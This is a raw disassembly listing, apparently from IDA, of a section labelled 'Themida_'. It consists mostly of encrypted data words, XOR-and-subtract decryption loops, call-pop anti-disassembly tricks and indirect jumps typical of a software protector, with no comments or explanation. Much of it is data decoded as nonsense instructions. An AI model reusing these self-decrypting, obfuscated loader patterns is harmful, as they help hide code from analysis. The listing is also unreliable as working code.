		dd 0F2FA1149h, 4DF18095h, 48DBE6h, 0E3A8C0F5h, 104DF180h
		dd 2EA6EDF4h, 0FB24AEDFh, 0B8h,	0D837530Ch, 1C721745h
		dd 98F5BEF3h, 90FFB877h, 3E07EC7Fh, 0C18ABF50h,	0FEF542CDh
		dd 0BDCF4A45h, 0DFB2E752h, 5A79EC4Ch, 9E5747DFh, 7B8C1FF0h
		dd 16AFFC13h, 0FD67D978h, 396F1F9h, 0DAE547E0h,	0E87CCCB1h
		dd 0B2BB487Dh, 5AFC04C3h, 3D49F17Bh, 7F88E532h,	50CBD392h
		dd 33500424h, 0E0B06928h, 9427FA2Fh, 0EE216C25h, 9BF1AAA1h
		dd 0D96C3F74h, 0CB4AC5C8h, 0EDBFEAC4h, 0EEA2690Eh, 0C9000002h
		dd 61FA47C8h, 0FE97E42Bh, 9D36838Ch, 37D01DF2h,	7C6CB956h
		dd 37D8B539h, 0D53A51EAh, 6EA1EF88h, 9068821h, 8B93E2BCh
		dd 4DF880FCh, 72CCA27Fh, 0EA7F41Bh, 8C428F80h, 1C0A5AEh
		dd 0F17ECDF9h, 57373849h, 45B083B8h, 8093F810h,	44604DF1h
		dd 0DF9EF69Dh, 0E34B24AEh, 5C000000h, 0F328E7A3h, 145F8D20h
		dd 5F92F5FDh, 0E6F147DFh, 0C34C4253h, 51C8C58Eh, 11767E3Dh
		dd 7247DF60h, 0EF9BFC67h, 0AD18EB20h, 5B056078h, 256947DFh
		dd 8A049DEAh, 0BAC35085h, 0EE59B6D5h, 0FA15762Fh, 66F0F867h
		dd 5149F15Ch, 659DEAF2h, 0D3DE4DF1h, 9BF0A968h,	0D96C3F74h
		dd 8F767FDCh, 7F6C8D0h,	72D15004h, 628294F1h, 0D989A82Bh
		dd 47E5ADAEh, 9857C2CDh, 1461AEDFh, 7EFD127Bh, 0EDBF2803h
		dd 0AE3AA4Fh, 0E5000002h, 7D1663ACh, 1AB3000Fh,	0B9529F70h
		dd 53EC39D6h, 9888D53Ah, 53BCD11Dh, 0F11E6D06h,	8A850BA4h
		dd 25EAA43Dh, 0A7AFFED8h, 4DF881E0h, 72F0C6A3h,	838CFE1Bh
		dd 3AD85918h, 87A3BCAFh, 8A817E11h, 431EF273h, 0AE9206D8h
		dd 0DF9789FEh, 92F9FA47h, 0A75487Dh, 0E7286677h, 5B14E49Ah
		dd 3C4DE02Fh, 0BF88BD52h, 5AF340CFh, 87F8734h, 0EA47DF60h
		dd 139DA059h, 0FE09A1BFh, 0C8D15E93h, 90121AD9h, 5F49F1D7h
		dd 767E9554h, 4DF1D911h, 0EFD46772h, 5B865B47h,	641DDC33h
		dd 0DBAEE32Ch, 0E5EE4B48h, 49394100h, 4D5003E4h, 0A456FB94h
		dd 39852F9h, 0A97CB11Ch, 9A5E2EAh, 0CBD647E0h, 9CEFF038h
		dd 0BAAD3E73h, 0CB6F3C92h, 3A6FDA45h, 0FC341D71h, 3857FAAEh
		dd 7A33F25Dh, 866BFE11h, 2605DCF0h, 0F879381Dh,	3FD78F1Fh
		dd 73E275F0h, 5072DB5Ch, 0D773DD84h, 859EE444h,	9EA949F1h
		dd 39D6B851h, 6A24DD04h, 0E3A770A5h, 0B924F72Ch, 947B1526h
		dd 301554D5h, 0E75DCDE1h, 0DBC76F54h, 5CB3DB06h, 0F901180Fh
		dd 4DF1638Eh, 7A4FE2EDh, 50018E71h, 6FA37753h, 0A5DA45BDh
		dd 0A0A867D2h, 5003D702h, 6A23E2EDh, 775CEF20h,	56313950h
		dd 2547DFD7h, 735C835Ch, 9740840h, 0E6296576h, 41FA09B1h
		dd 0E430C34Ch, 40252EFDh, 34E96A81h, 77D5C260h,	0FF107EDFh
		dd 464F7CAh, 49F1909Eh,	64232B42h, 174DF161h, 2DE2AB0Ch
		dd 4A9225F8h, 8C95F23Fh, 2EDEE6A5h, 2150086Fh, 0EC9E5716h
		dd 0E2AB9023h, 7D1663ACh, 181E4011h, 0B16003D8h, 68708746h
		dd 47EA661Fh, 655A2D35h, 1E2947EAh, 3E87B86h, 987000EBh
		dd 88596D1Fh, 4920315Dh, 733EAD52h, 0CB4C0B76h,	0EEF3EC03h
		dd 3633C69Fh, 0E91EF19Dh, 6BA06F20h, 0DF0AD7C3h, 7A1360AFh
		dd 0FFC6FB14h, 15h, 0F5FD1469h,	47DF5F92h, 0FD8A92F1h
		dd 7E47DF5Fh, 14750873h, 0F01F7226h, 739CF2BBh,	0F41B753Eh
		dd 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh, 8B8406CFh
		dd 10FF8D56h, 9A68D4DBh, 89000021h, 6C682404h, 8900007Bh
		dd 66682434h, 89000072h, 8682414h, 8B061911h, 0C4832434h
		dd 148B5404h, 4C48324h,	89585650h, 8B580842h
; ---------------------------------------------------------------------------
		adc	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		mov	bh, 0AFh
		dec	byte ptr [ebp-42h]
		db	64h
		push	ss
		pop	esi
		adc	al, 71h
		cmp	[edi-48h], eax


loc_5EE002:				; CODE XREF: Themida_:loc_5ECB33j
		mov	eax, 61924BCh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 42h
		dd 0F77BA681h, 1747D248h, 887E97A9h, 748F596h, 0F80006D6h
		dd 83684516h, 101B87A2h, 0C56D49F2h, 6E13B9ACh,	0F358D006h
		dd 1A217C30h, 0D958E328h, 0E8342C9Eh, 11h, 3E5A1909h, 27A76B04h
		dd 5E1D0372h, 28A48F51h, 0F18B6647h, 0FBE6658h,	52C081A6h
		dd 6600006Bh, 0FF33CF8Bh, 67CC381h, 148B2726h, 7DC28138h
		dd 6616A543h, 8130FDBEh, 275FCFEAh, 0F681660Ch,	0EA81423Fh
		dd 5B854F09h, 17C98152h, 8F0663CDh, 0F6813804h,	5D8CA187h
		dd 3810Fh, 0F9570000h, 7CEF815Bh, 0E840BD4Eh, 10h, 0E3F14CCh
		dd 1F4D19E2h, 116E939Dh, 0F0106856h, 0E269BE66h, 78C7815Bh
		dd 0B740BD4Eh, 70FF8106h, 0FFFFF95h, 1485h, 46BBE00h, 27E92901h
		dd 0B3000000h, 94F932D2h, 0A780A2C4h, 5E922h, 56EE0000h
		dd 0E9BF92DFh, 0FFFFFF72h, 0BC149BDEh, 0AF3D4616h, 815A0A04h
		dd 85C6849Eh, 61215C1h,	30DF6856h, 0B5FFA9C5h, 6123101h
		dd 827A858Dh, 0D0FF0615h, 293D8D8Dh, 6A510612h,	2DB5FF40h
		dd 0FF061217h, 122DC1B5h, 0FFD0FF06h, 12172DB5h, 0C1B5FF06h
		dd 0E806122Dh, 14h, 925D145Ah, 0BD3C6A25h, 0D126D72Fh
		dd 75D90191h, 0EEAD8B2Eh, 0E8835858h, 242CC104h, 2424C102h
		dd 24040302h, 68241CF7h, 0
; ---------------------------------------------------------------------------
		pop	edx


loc_5EE179:				; CODE XREF: Themida_:loc_5EE1B5j
		push	dword ptr [edx+eax]
		pop	esi
		xor	esi, 0A802775h
		xor	esi, 55131860h
		sub	esi, 720FDD84h
		mov	[eax+edx], esi
		sub	edx, 3
		dec	edx
		cmp	edx, [esp]
		jnz	loc_5EE1B5
		jmp	loc_5EE1C7
; ---------------------------------------------------------------------------
		dd 2F5534F5h, 0A40981BFh, 4E856B32h, 865F4867h
		db 83h
; ---------------------------------------------------------------------------


loc_5EE1B5:				; CODE XREF: Themida_:005EE199j
		jmp	loc_5EE179
; ---------------------------------------------------------------------------
		lahf
		fbld	tbyte ptr [ebp+3Eh]
		std
		inc	edx
		movsb
		jge	short loc_5EE231
		fld	tbyte ptr [esi+ebp*8+2Ah]


loc_5EE1C7:				; CODE XREF: Themida_:005EE19Fj
		lea	ebx, [ebp+6120849h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5EE1DE
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5EE1DE:				; CODE XREF: Themida_:005EE1D1j
		mov	ecx, ecx
		jmp	loc_5EE344

; =============== S U B	R O U T	I N E =======================================



sub_5EE1E5	proc near		; CODE XREF: sub_406890+12Bp
					; sub_409BC0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6192714h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5EE33B
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 4FC26D10h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6122DCDh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0A754712Ah
		xor	eax, esi
		sub	eax, edi


loc_5EE231:				; CODE XREF: Themida_:005EE1C1j
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+61231BDh],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6120011h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5EE2FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6120841h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61225B1h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61214C1h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61229E5h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6120C89h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6122B19h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61229B1h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61231C5h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6122431h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6122D79h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61219B1h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61229A5h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61232E5h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61231F1h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6120835h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61213A1h]
		jmp	loc_5EE313
; ---------------------------------------------------------------------------


loc_5EE2FF:				; CODE XREF: sub_5EE1E5+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+6192775h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5EE313:				; CODE XREF: sub_5EE1E5+70j
					; sub_5EE1E5+7Bj ...
		call	dword ptr [ebp+6122781h]
		pop	ebx


loc_5EE31A:				; CODE XREF: sub_5EE1E5+14Ej
		mov	eax, [ebp+6122DCDh]
		cmp	[eax+4], ebx
		jnz	loc_5EE338
		push	ebx
		push	1
		call	dword ptr [ebp+61229D1h]
		pop	ebx
		jmp	loc_5EE31A
; ---------------------------------------------------------------------------


loc_5EE338:				; CODE XREF: sub_5EE1E5+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5EE33B:				; CODE XREF: sub_5EE1E5+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EE1E5	endp

; ---------------------------------------------------------------------------


loc_5EE344:				; CODE XREF: Themida_:005EE1E0j
		mov	eax, [ebp+6121321h]
		lea	ecx, [ebp+6192863h]
		mov	[ecx+1], eax
		mov	eax, ebx
		lea	ecx, [ebp+619296Ah]
		push	0
		push	ecx
		call	sub_5EE366
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EE366	proc near		; CODE XREF: Themida_:005EE35Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5EE366	endp

; ---------------------------------------------------------------------------
		mov	al, 54h
		stosb
		mov	[ebp+6121F89h],	eax
		push	esi
		or	[ebp+6121DCDh],	edx
		pop	edx
		jge	loc_5EE390
		sbb	ah, 0D9h


loc_5EE390:				; CODE XREF: Themida_:005EE387j
		mov	[ebp+6122DCDh],	ecx
		push	0
		push	edi
		call	sub_5EE3A1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EE3A1	proc near		; CODE XREF: Themida_:005EE399p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5EE3A1	endp

; ---------------------------------------------------------------------------
		db 93h,	91h, 73h
		dd 0A193DE71h, 6E94EC9h, 0DD000000h, 0DE8E253Eh, 9BD0112h
		dd 0C7061222h, 1231BD85h, 6AC806h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 5A7F51EEh
		dd 0E3E1F264h, 85C7CEEDh, 6120011h, 0
; ---------------------------------------------------------------------------
		mov	edx, 15E1135Bh
		push	dword ptr [ebp+6120835h]
		mov	[ebp+61203D1h],	ebx
		call	dword ptr [ebp+6122781h]
		push	0
		push	edx
		call	sub_5EE426
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EE426	proc near		; CODE XREF: Themida_:005EE41Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5EE426	endp

; ---------------------------------------------------------------------------
		cmpsd
		pop	esp
		sbb	al, 9Bh
		or	byte ptr [ebx-0FF953Dh], 95h
		shr	dword ptr [ecx], 1


loc_5EE443:				; CODE XREF: Themida_:005EE4A2j
		adc	al, [esi]
		mov	eax, eax
		jmp	short loc_5EE496
; ---------------------------------------------------------------------------
		db 0D6h, 74h, 17h
		dd 0BFFA271Fh, 2383B9A2h, 1B78B48h, 77EA9987h, 25E4D9DEh
		dd 844AEECCh, 0E53AFBF1h, 8681B21Ch, 0BB6707CDh, 0ACF5F4FBh
		dd 0D5DB7DEBh, 0D427E95Dh, 9A2FCA9Dh, 21E1800Ch, 40D2C97Dh
		dd 4DB460Ch, 0C648F8B6h, 0A8F5D83Eh
		db 0A0h, 58h
; ---------------------------------------------------------------------------


loc_5EE496:				; CODE XREF: Themida_:005EE447j
		call	sub_5EE4A4
		cmp	ch, al
		aaa
		out	98h, eax
		cmp	al, 4Bh
		jecxz	short loc_5EE443

; =============== S U B	R O U T	I N E =======================================



sub_5EE4A4	proc near		; CODE XREF: Themida_:loc_5EE496p
		mov	[ebp+6120B7Dh],	edi
		pop	edx
		and	cx, 5191h
		add	edx, 614Ah
		mov	[ebp+6122DADh],	eax
		xor	eax, eax
		mov	[ebp+612149Dh],	ebx


loc_5EE4C4:				; CODE XREF: sub_5EE4A4+7Dj
		push	dword ptr [eax+edx]
		pop	edi
		mov	[ebp+6121FC5h],	eax
		xor	edi, 31C55F92h
		sub	cx, 95CEh
		add	edi, 5F5EA10Eh
		mov	[ebp+6122FC9h],	edi
		xor	edi, 557EBC1Fh
		mov	esi, [ebp+6122371h]
		mov	[edx+eax], edi
		or	[ebp+6122C61h],	edi
		jnp	loc_5EE508
		jo	loc_5EE508
		push	esi
		pop	ebx


loc_5EE508:				; CODE XREF: sub_5EE4A4+56j
					; sub_5EE4A4+5Cj
		sub	eax, 5C4D2EE7h
		cmc
		add	eax, 5C4D2EE3h
		mov	ecx, [ebp+6122A89h]
		cmp	eax, 0FFFF9F44h
		jnz	loc_5EE4C4
		mov	[ebp+6122EFDh],	ebx
		jmp	loc_5EE545
; ---------------------------------------------------------------------------
		dw 38A7h
		db 2Eh,	2Dh, 4 dup(0)
		align 4
		dd 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5EE545:				; CODE XREF: sub_5EE4A4+89j
		jmp	loc_5EEA7D
; ---------------------------------------------------------------------------
		push	6192BB7h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6192C25h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6192D90h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dd 1562ADE4h, 0B2FF107Ch, 519E7119h, 0EB38D7B8h, 87D43B52h
		dd 0BDD01E97h, 1F6C0552h, 860AA3F0h, 0EBA33C89h, 0AEFDD724h
		dd 0F889E1A6h, 0EFC5A24Dh, 92F5FD14h, 0F147DF5Fh, 4B4253E6h
		dd 0C8C68FC4h, 949DFA47h, 0BDA7A3EFh, 0DFADD2B5h, 7DA6B147h
		dd 2C34102Ch, 47E0155Bh, 47B21D28h, 33CA8088h, 8D0E49F2h
		dd 0D4182B5h, 4446A791h, 0E5F038CBh, 0BCD089B0h, 2B60C053h
		dd 0C84DF197h, 0B3E80889h, 0B968FB0Eh, 8007DA26h, 24AEF100h
		dd 73DEAF68h, 8DBEAF38h, 87BC2797h, 451F21B4h, 71000003h
		dd 0C243AE9Bh, 137AE744h, 298AD3FCh, 0B9C2972Ah, 2358B7D6h
		dd 2F93F4FCh, 0E5F047E0h, 48500F7Ah, 49F24606h,	1B7459DAh
		dd 0E02C1682h, 0B4DD28D7h, 0EC7F4335h, 4A3D45A4h, 394DF248h
		dd 9272C32Eh, 48B5AF84h, 39F8DDE6h, 0B18945B8h,	6AFD30B7h
		dd 4EABF3FBh, 8F9A4569h, 0DDC4CD5Ah, 50AD161Eh,	0CBD64757h
		dd 4E3CF50Ch, 174CC3CBh, 0D1A4D944h, 0B8612D3Eh, 2F0237D8h
		dd 0B0DE77C4h, 846BE05Fh, 0C26716CEh, 351FBh, 39D6BB00h
		dd 0D63953ECh, 759AF089h, 0F008F28h, 0AB6429C2h, 0A7476E5Eh
		dd 43DC29E6h, 0E17AC748h, 7A1360AFh, 0D4AEFB14h, 8B0A7D85h
		dd 9C794DF8h, 0C0A5AEC6h, 81F6F901h, 1A2549F6h,	24EBA25Bh
		dd 0C04F3ED7h, 454D648Bh, 4DF88A42h, 43A33641h,	4DF88949h
		dd 4361B73h, 3AD5BA18h,	0AA093205h, 209F0AF1h, 145FE721h
		dd 0E3C58C31h, 4D000002h, 0E57ECB44h, 821B68A7h, 21BA0708h
		dd 0BB54A16Eh, 0F03DD2h, 0BB5439B5h, 59B6D56Eh,	0F21D730Ch
		dd 8D820CA5h, 0F176640h, 4DF88B78h, 0AE582E0Bh,	0EA01C0A5h
		dd 0D3B4BCD3h, 0B047DF5Fh, 5F92F5A5h, 92F147DFh, 0DF5FFD8Ah
		dd 8737E47h, 81DA1575h,	0BEC949F6h, 8A1A7189h, 0BDD94DF8h
		dd 22EA6B24h, 0B3ADD42Bh, 178ADF49h, 5EC9EAEBh,	4B808FFDh
		dd 1878E578h, 0CD24A573h, 1D0h,	0F31C721Fh, 7699F5BEh
		dd 8FB13229h, 0B15E2F89h, 75443F88h, 1D040DE2h,	7738565Eh
		dd 444F49F2h, 2494F70Fh, 65264DF2h, 0E1AC75AAh,	52BD5238h
		dd 99EEF61Dh, 0EA4DF224h, 13CE82DFh, 2257B8D8h,	0A0BCE44Fh
		dd 274A4A41h, 329F24AEh, 0F1000000h, 1C0A5AEh, 0F17ECDF9h
		dd 58373849h, 812C5B63h, 444F4DF1h, 66D1A4D9h, 80721931h
		dd 65814DF1h, 315A137Ch, 0E6DE4BDEh, 3324AEDFh,	0D6h, 335B1485h
		dd 563849DCh, 0D2BB84B9h, 4F3F083Dh, 0CCC28BC0h, 6D538985h
		dd 62CDAFE7h, 0B0442D15h, 0E4AA47DFh, 0D0E7DE2Bh, 0DFB1BFC8h
		dd 759AF347h, 0CAD56D40h, 6C596237h, 7996F4ADh,	0AA6F77E6h
		dd 9949F254h, 0B01BF498h, 0BA5538F1h, 0C54A42FBh, 46C9C790h
		dd 0B24B48DBh, 0AFD8E0DBh, 0CC4DF457h, 60D756C1h, 0D2EBAD87h
		dd 178662Dh, 0AFE20000h, 127A1360h, 7317B0FDh, 0D9B64F9Ch
		dd 3D50E936h, 209585D2h, 350BFCEh, 0A1EE216Ah, 3A878808h
		dd 0D522EDA1h, 0E3A4ACFBh, 0A04DF88Ch, 0FD14EDC3h, 0DF5F92F5h
		dd 53E6F147h, 5C44B42h,	5FA1E6EEh, 0D7E247DFh, 97504744h
		dd 76871AF5h, 7F38F718h, 7471040Bh, 9E5667Dh, 0F0F4ED4Bh
		dd 0F67710C0h, 0F90447DFh, 1C723866h, 137B34F3h, 52353DFCh
		dd 3147DF5Fh, 87AE9326h, 600D9606h, 8C4B2869h, 0E02F0384h
		dd 0E2758047h, 552BDD1h, 0F3B29FA8h, 0F27D15EBh, 5E1D2849h
		dd 0FB6BC647h, 0AED73853h, 13A6FA0Eh, 37848B02h, 0B5068740h
		dd 0F1FFDAADh, 339EA94Dh, 38982BFEh, 4DF1FF53h,	9BE82767h
		dd 0C5848B02h, 0CBCF820Ch, 2F7C2B03h, 0C598CD38h, 3589FE06h
		dd 0EFFA4DF2h, 97B0775Ch, 1A000000h, 646CA5AEh,	47DF6023h
		dd 2BEA5560h, 0F681D023h, 0F9B8C349h, 89ADDAE2h, 0C3CE4DF8h
		dd 6B244B30h, 81C7F01Fh, 29FA7593h, 781627BAh, 0AF8547D9h
		dd 49B4DA00h, 0E42B63FCh, 0F52D97AFh, 0A6BA32ADh, 3ED1523Bh
		dd 0AA04B8BFh, 86E12EF2h, 940D205Dh, 0B39EF001h, 476D6C89h
		dd 43026DCDh, 0AEB6058Ah, 750DD2D9h, 0A1349FAAh, 8C830BA4h
		dd 18018E57h, 29E6A475h, 4BB621F4h, 5F826E16h, 46050A84h
		dd 0D260272Fh, 1823750Dh, 9FEF8885h, 3743B70h, 0DE000000h
		dd 1F723422h, 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah
		dd 8D00C9FEh, 0B844D82h, 8406CF04h, 0FF8D568Bh,	68D4DB10h
		dd 0F3Ch, 68241489h, 6111h, 68241489h, 4684h, 57243C89h
		dd 192A8EBFh, 8BFA8906h, 0C481243Ch, 4,	243C8B54h, 6804C483h
		dd 11A8h, 81241489h, 4ECE2404h,	478F60F0h, 86F8108h, 60F04ECEh
		dd 5F2434FFh, 8B04C483h, 89512414h, 4C181E1h, 83000000h
		dd 0C8704C1h, 6AE95C24h, 3CFFF951h, 30BF98C0h, 0C053D65Dh
		dd 8CAFF509h
; ---------------------------------------------------------------------------
		push	ecx


loc_5EEA7D:				; CODE XREF: sub_5EE4A4:loc_5EE545j
		mov	eax, 6192F2Dh
		add	eax, ebp
		jmp	eax
sub_5EE4A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 3Fh
		dd 7AEC474Ch, 0A1DC6A31h, 0D09D231Eh, 0B2427651h, 3B8465A1h
		dd 6C2932E4h, 8296447Dh, 645F442Bh, 0F20434A1h,	0FF3A4778h
		dd 8F28309Ah, 0BC0D2690h, 7E85675h, 99000000h, 0B3E6D27Fh
		dd 8166A9B5h, 5A26DBD6h, 0C2816BB4h, 665Ah, 3870Fh, 0DF800000h
		dd 30E9BFA8h, 0EF812DA7h, 2DA7177Bh, 569EFFBEh,	0F0A8B6Ch
		dd 386h, 0DABF0F00h, 9CE6F181h,	8B660A29h, 0DAC181F2h
		dd 0E95BC9F1h, 6, 34D70DD0h, 0F181A84Fh, 6F6523A4h, 0BE660A89h
		dd 0EA81B6A1h, 6BB3A08Dh, 2E5CBB66h, 0A089C281h, 0BF0F6BB3h
		dd 1EF81F2h, 0F000000h,	1085h, 0D3816600h, 1EE9ABC1h, 0AC000000h
		dd 94EC37E7h, 0C78B66E9h, 0FFFF98E9h, 23A7A7FFh, 0F56BC24Ch
		dd 5A7A41D9h, 0D92EB351h, 458D8DD4h, 6A061931h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B6C8C352h, 8D898E64h, 6122DCDh, 11958B60h, 8906121Eh
		dd 1213E195h, 85C76106h, 61231BDh, 5BBCh, 303D858Bh, 85C70612h
		dd 6120011h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5EEBC3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EEBC3	proc near		; CODE XREF: Themida_:005EEBBBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5EEBC3	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		push	1195895Bh
		push	ds
		adc	al, [esi]
		push	dword ptr [ebp+61214C1h]
		mov	eax, 46B13706h
		mov	[ebp+6121765h],	esi
		call	dword ptr [ebp+6122781h]
		push	0
		push	edi
		call	sub_5EEBFE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EEBFE	proc near		; CODE XREF: Themida_:005EEBF6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5EEBFE	endp

; ---------------------------------------------------------------------------
		dw 0DFFDh
		dd 81A735F3h, 6F641D21h, 95FF006Ah, 61229D1h, 4CEBC08Bh
		dd 6AF9C063h, 0AE5A6998h, 0C773BF51h, 0B0775C70h, 2D798CB7h
		dd 41340172h, 0D830148Fh, 4335D27h, 82E4B04Eh, 1F9CFF2Ch
		dd 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 0ECB116C1h
		dd 0B513A84Eh, 7713A289h, 0B38D5D11h, 12B2BF0Ah, 0EE8h
		dd 356D2B00h, 2CA65AF1h, 39B54323h, 66F84B43h, 2226D881h
		dd 39B5895Fh, 81061232h, 680FC7h, 6880F00h, 8B000000h
		dd 1233E9B5h, 0DE06B906h, 0F18132A8h, 32A8C7DDh, 6E9h
		dd 20241800h, 0FFAEB672h, 0EB816637h, 0B85A4063h, 2AD60564h
		dd 0D49FF281h, 852B0BD8h, 612249Dh, 0DB6DEA81h,	858B779Ch
		dd 61212C9h, 4121F281h,	0EC806FD2h, 8FF852A8h, 4EF8307h
		dd 49F08B66h, 0A850Fh, 21E90000h, 0B6000000h, 802F507Ch
		dd 0CD9D8B60h, 0B3061232h, 0A8E961F2h, 42FFFFFFh, 0D53E0D41h
		dd 91C95AC2h, 0D5A203E9h, 0CE8h, 5F6BBC00h, 68C36983h
		dd 5B165B57h, 8158FCC7h, 6F6EC0h, 0D9D8B00h, 0B906122Ah
		dd 1BB4h, 0C8E0Fh, 8A0F0000h, 6, 150D9589h, 108B0612h
		dd 1C458531h, 0F2810612h, 6613A14Eh, 68CB8166h,	36EA8149h
		dd 8B051155h, 12249D9Dh, 83C28106h, 0F5B6E98h, 685h, 5BD78100h
		dd 893B08A6h, 4DB58B10h, 83061228h, 9E801E8h, 9000000h
		dd 6C6D0051h, 5359918h,	32EDB58Bh, 485F0612h, 0F494848h
		dd 0FFFFA585h, 11E9FFh,	31A80000h, 0BE54741Dh, 8B59B12Dh
		dd 11B58B16h, 0E8F0C7F3h, 0Ch, 0C4F2D964h, 0AF493370h
		dd 56720090h, 19A0BE66h, 0E58D895Fh, 81061203h,	5E2BC7h
		dd 0B98D0100h, 68061220h, 0
; ---------------------------------------------------------------------------
		stc
		pop	ecx
		jo	loc_5EEDFE
		sub	eax, [ebp+61211F5h]


loc_5EEDFE:				; CODE XREF: Themida_:005EEDF2j
					; Themida_:005EEE6Aj
		push	dword ptr [ecx+edi]
		mov	[ebp+6122D7Dh],	ecx
		pop	ebx
		mov	[ebp+6120395h],	esi
		sub	ebx, 34D3AEFBh
		mov	[ebp+6120C51h],	edx
		xor	ebx, 7E4F551Fh
		mov	eax, [ebp+61226A9h]
		xor	ebx, 39978DBBh
		add	ah, 0C9h
		push	ebx
		xor	[ebp+6121769h],	edi
		pop	dword ptr [edi+ecx]
		jbe	loc_5EEE47
		push	esi
		mov	[ebp+612183Dh],	eax
		pop	edx


loc_5EEE47:				; CODE XREF: Themida_:005EEE39j
		or	[ebp+6121B39h],	ecx
		sub	ecx, 53483F65h
		or	si, 6791h
		add	ecx, 53483F61h
		mov	[ebp+61211E1h],	ebx
		cmp	ecx, 0FFFFA28Ch
		jnz	loc_5EEDFE
		jmp	loc_5EEE83
; ---------------------------------------------------------------------------
		db 9Dh,	1Dh, 0C8h
		dd 0A38DCD04h, 69F57B20h
		db 0BDh, 0FAh, 9Dh
; ---------------------------------------------------------------------------


loc_5EEE83:				; CODE XREF: Themida_:005EEE70j
		jmp	loc_5EEEAC
; ---------------------------------------------------------------------------
		dd 8FB4994h, 8 dup(0)
; ---------------------------------------------------------------------------


loc_5EEEAC:				; CODE XREF: Themida_:loc_5EEE83j
		jmp	loc_5EF3BD
; ---------------------------------------------------------------------------
		db 9Bh,	0F6h, 19h
		db 0CCh
		db 33h,	59h, 0B6h
		dd 55BAD069h, 0EF206F08h, 8B8409A2h, 87674E3Eh,	23BC0906h
		dd 0C15AA768h, 5AF340CFh, 0B48EDB34h, 932A5D65h, 7C594DF8h
		dd 0F31C72A6h, 0B998F5BEh, 92D1A725h, 33AE6411h, 0EB448h
		dd 0B26B2A95h, 2BFE33DCh, 1523646Ch, 556047E0h,	622CC5C2h
